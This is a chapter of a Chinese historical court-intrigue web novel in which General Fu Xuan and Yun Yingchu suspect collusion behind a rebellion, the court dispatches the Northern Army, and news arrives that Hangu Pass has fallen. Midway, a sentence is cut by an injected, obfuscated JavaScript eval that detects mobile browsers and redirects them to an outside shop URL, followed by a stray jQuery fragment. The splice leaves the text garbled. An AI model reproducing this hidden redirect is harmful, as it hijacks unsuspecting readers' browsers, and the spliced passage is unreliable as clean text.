“陛下今日与我说,叛军的事只怕最后还是要你来解决,让你早做打算。”
绥宁堂午膳席上,云映初将先前在永治殿中与太皇太后所说的话娓娓告知。
“陛下不会让我去的。”听完云映初所言,傅翾摇了摇头,“州郡兵马不充事,最后八成还是要北军校尉领兵平叛。”
“我也是如此想。”云映初叹道,“一是不至于,二则不放心。”
傅翾闻言挑眉,抬眼对上云映初的目光时与她会心一笑。
“遐之。”
云映初饮了口甜浆,落杯时忽然顿了一下,仿佛想起了什么。
“怎么了?”
“你觉不觉得叛军的进程有些不对?”云映初侧身看向傅翾。
“我果然不曾看错,晏晏确实有调兵遣将之能。”傅翾眉宇因诸事繁杂而深锁,闻言眼角却带笑。
“少抬举我。还不是多亏了你当日反复絮叨。”在朔平时,傅翾生怕云映初在边郡憋闷,理事之余都在绞尽脑汁计划如何哄她开心,无奈自身行走山河二十余岁,多数时候都耗在刀枪丛中,实在想不出什么新奇的法子,索性将先前亲历的种种战役说与云映初听,好在云映初赏脸,听得饶有趣味,时不时还就事有所发问。
云映初放下筷箸:“月前你才说叛军在柳县扎营,如今已经攻下梨县,而且人丁更加壮大。粮草补给,排布行军,哪一件都不是小事,昔年高皇帝起义时也远不及如今这般顺遂,这伙流民是怎么做到的?”
“叛军中有人久在行伍,再者当地也可能行了方便。”
绥宁堂中一片寂静。
姜家敢吗?这句话,云映初原本在听到傅翾的论断时便欲脱口,只是旋即又按捺下来。
姜家敢吗?当然。太后为了扳倒傅家,连北狄都可以联通,何况区区叛军流民。
“此事,你有多大把握?”云映初小声问道。
“尚属猜测。”
“即便姜家有什么想法,咱们也不能放任事态就此发展下去。”云映初蹙眉,“你觉得陛下会怎么处理?”
傅翾略一思索:“看明日的军报如何,若是函谷外形势不好,派兵也就是这几日的事,陛下当会命我坐镇长安,除策画方略外,另要看顾前线粮饷运济。”
关中不比边郡形势单纯,人情复杂利益纷然,许多时候最终所做的决策并非是对事最有益,而是其刚好处在多方势力拉锯之下的平衡点上。即便位高威重如太皇太后与傅翾,举棋落子时仍旧常觉掣肘。
见云映初神色含忧,傅翾缓和了声音宽慰道:“你也不必太过悬心,无论如何,有我在呢。”
云映初苦笑抬头:“你这回竟不安慰我说一切无虞,看来当真是要有大事。”
傅翾愣了一下,离席坐到云映初身侧,俯身执手:“无论世情如何变幻,我自当护你无虞。”
草草用过午膳,云映初留在绥宁堂打理下面递上来的账簿,傅翾回到书房处理公务。
亲随早已按照傅翾的习惯安置好各类文书简帛,出人意料的是,傅翾坐下来后却看也没看放在首位的幽云边军日常支用与军务简章,而是开口问道:“西北袁歆呈报的文书在哪?”
亲随匆匆将西北军报挑拣出来奉给傅翾。
傅翾扫过几眼,袁歆所报军务挑不出错处,只是在军报末尾着重提起了年前歧县关外发现虚连题氏兵马踪迹一事。
“......近来关外北狄数现,臣虑西北大关安危,不可轻视,故分斥候十二班,日夜觇探,另命闭寨固垒,关塞通以烽火。拜镇北将军尊驾,伏请将军警戒幽云,收敛营地,以防北狄声东击西......”
“给我西北关外斥候所报誊本。”傅翾看到一半,抬手示意亲随将文书递给自己。
亲随有些犯难,西北军报中誊本不多,最近的已是一月开外。
傅翾看到亲随呈上的三两文书,压低了眉眼:“只有这些?”
“是。”亲随答道。
“拿走吧。”傅翾不再关注那些文书,他铺开一张绢帛,提笔疾书,同时肃声命令,“让边军校尉进来。”
为了联通镇北将军幕府与边郡的军务往来,府上常驻一伍边军驿骑。校尉得令后赶到书房正欲向傅翾行礼,却见对方抬手一挥,示意他径直上前。
“传我军令,边军天绥一部西出绥阳,驻三津听调,武襄一部南下冀州,”傅翾将已经泥封好的信囊交给校尉,“另外,命伏寅向西调动边军,作进逼北关之势,但不要有所举动。”
“是。”校尉训练有素地接过信囊,立刻转身出门。
幕府前院不似后院景致曲折,庭院坐落间规整有度一如边郡府衙,校尉出门后熟门熟路地点了一队护卫押队,直到卫队持武宁侯令牌快马出了城门,校尉突然回过味儿来,将军今日下达的军令似乎有些不同寻常。
-
果如傅翾所料。几日之后,叛军连下两城,兵临函谷,朝堂上从事中郎一把鼻涕一把泪地替司隶校尉痛陈叛军之凶残以至州郡兵马无从招架,三催四请朝廷派兵镇压宵小。朝中在接连不利的战报抵达京师的时候便屡有异声,从事中郎再一搅合,让人不由得想起昔年豫州的那场动乱,各路出身的臣工难得意见统一,纷纷上书请太皇太后下旨,遣镇北将军武宁侯亲率兵马前往平叛。
其中尤以从事中郎最为诚挚,他在未央前殿泣涕拜请太皇太后,为保京师平安与司州今岁桑稻如期,一定要请镇北将军亲临督军。
“区区匹夫游勇,行走司州恍入无人之境。”太皇太后神色肃然,声势隐隐欲怒,“司隶校尉身为主政,养痈遗患,乃至束手,可谓无能之极!”
随着太皇太后手中的竹简砸落,满朝文武拜伏于地请太皇太后息怒。
“从事中郎。”
“臣在。”从事中郎连忙回应,声音听起来似乎万分惶恐。
“司隶校尉觉得,他镇压不下的暴乱,朝中便只有镇北将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620644|204021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
军能给他收拾烂摊子了?他是当真看得起自己。”太皇太后冷声说道。
“府主并非此意,只是......”
“哀家为了大梁社稷,眼下不与他计较。北军中尉——”太皇太后朗声道。
“臣在。”北军中尉应声出列。
“检点北军人马,前往平叛,具体方策与粮饷调度你下来与镇北将军商量。”太皇太后停了一停,“平叛之后,把司隶校尉与叛军匪首一同押解入京,等候发落!”
“臣遵旨。”
北军中尉曾在先帝朝随傅翾出征漠北,对这位位高权重的上府很是尊崇。有这么一层关系,镇压叛军的一应策略很快便顺利敲定,朝会后三日,顶着春雷阵阵,宣平门外北军玄甲矗立如林,车阵巍然,北军中尉在太皇太后与镇北将军亲送下,辞别满朝文武,开赴函谷。
远望着融于一点的浩荡北军,朝中众臣大部分松了口气——函谷外叛军也只剩下十几日的威风了。北军可谓是除幽云边军外,太皇太后手中最为精锐的兵马,不说关外的叛军,就算今日拉来洛阳郡兵,也难与之相较,更何况还有镇北将军亲自调度粮草筹谋庙算。
思及此,朝臣们连日来被叛军刀锋占据的脑海终于归复往常,纷纷思考起平叛之后司隶校尉一职易主,太皇太后是不是要就此展开对姜家的清算。党争是朝臣司空见惯的旧题,在叛军屠刀撤走的当下,思忖起来反而给了众人一丝熟悉的安慰。
眼看着手下第一得力干将马上不保,太后却出乎意料地稳得住。御史中丞在当日听闻太皇太后旨意后忧惧交加,累得自己染恙,连一向稳重的尚书令也有些挂相。而太后起居一如往常,日常理事之外,尚有余裕携汝南王妃往乐游原郊游赏春。
无论姜家一党沉稳也罢,焦躁也罢,北军前进的军报日日如期抵达,从镇北将军幕府调拨出长安的粮饷,同样按期周转。长安城中的朱邸簪缨,已经看待军报如同捷报,只待奏捷后想方设法刮下来些朝廷的赏赐。
距离北军开拔已过数日,今日照旧是大朝会。
老天不赏脸,昨夜中便起寒风,一早阴雨连绵不绝。站在未央前殿时,众臣可以清晰地听见殿外隆隆的雷声。
太史正在奏报新年历法,面对这懒怠得听的老章程,站位靠后的臣属甚至有人闭目养神。
傅翾站在首位,历法与他干系不大,正好趁此时机暗自筹算复核粮草调度。
咚、咚......
有声音仓皇混杂在雷声中,一路沿着殿外长廊向未央前殿奔来,在昏昏欲睡的众臣当中,傅翾微不可查地向殿门口侧身。
“陛下!”
轰然爆响的雷声随着宫侍凄厉的哭喊响起,顿时惊动了满朝文武。太史停了叙述,两侧朝臣纷纷看向殿外。
“陛下!”
那宫侍不顾仪态,迈入殿门时被门槛绊了一下,索性扑倒在地,哽咽道:
“函谷......破了......”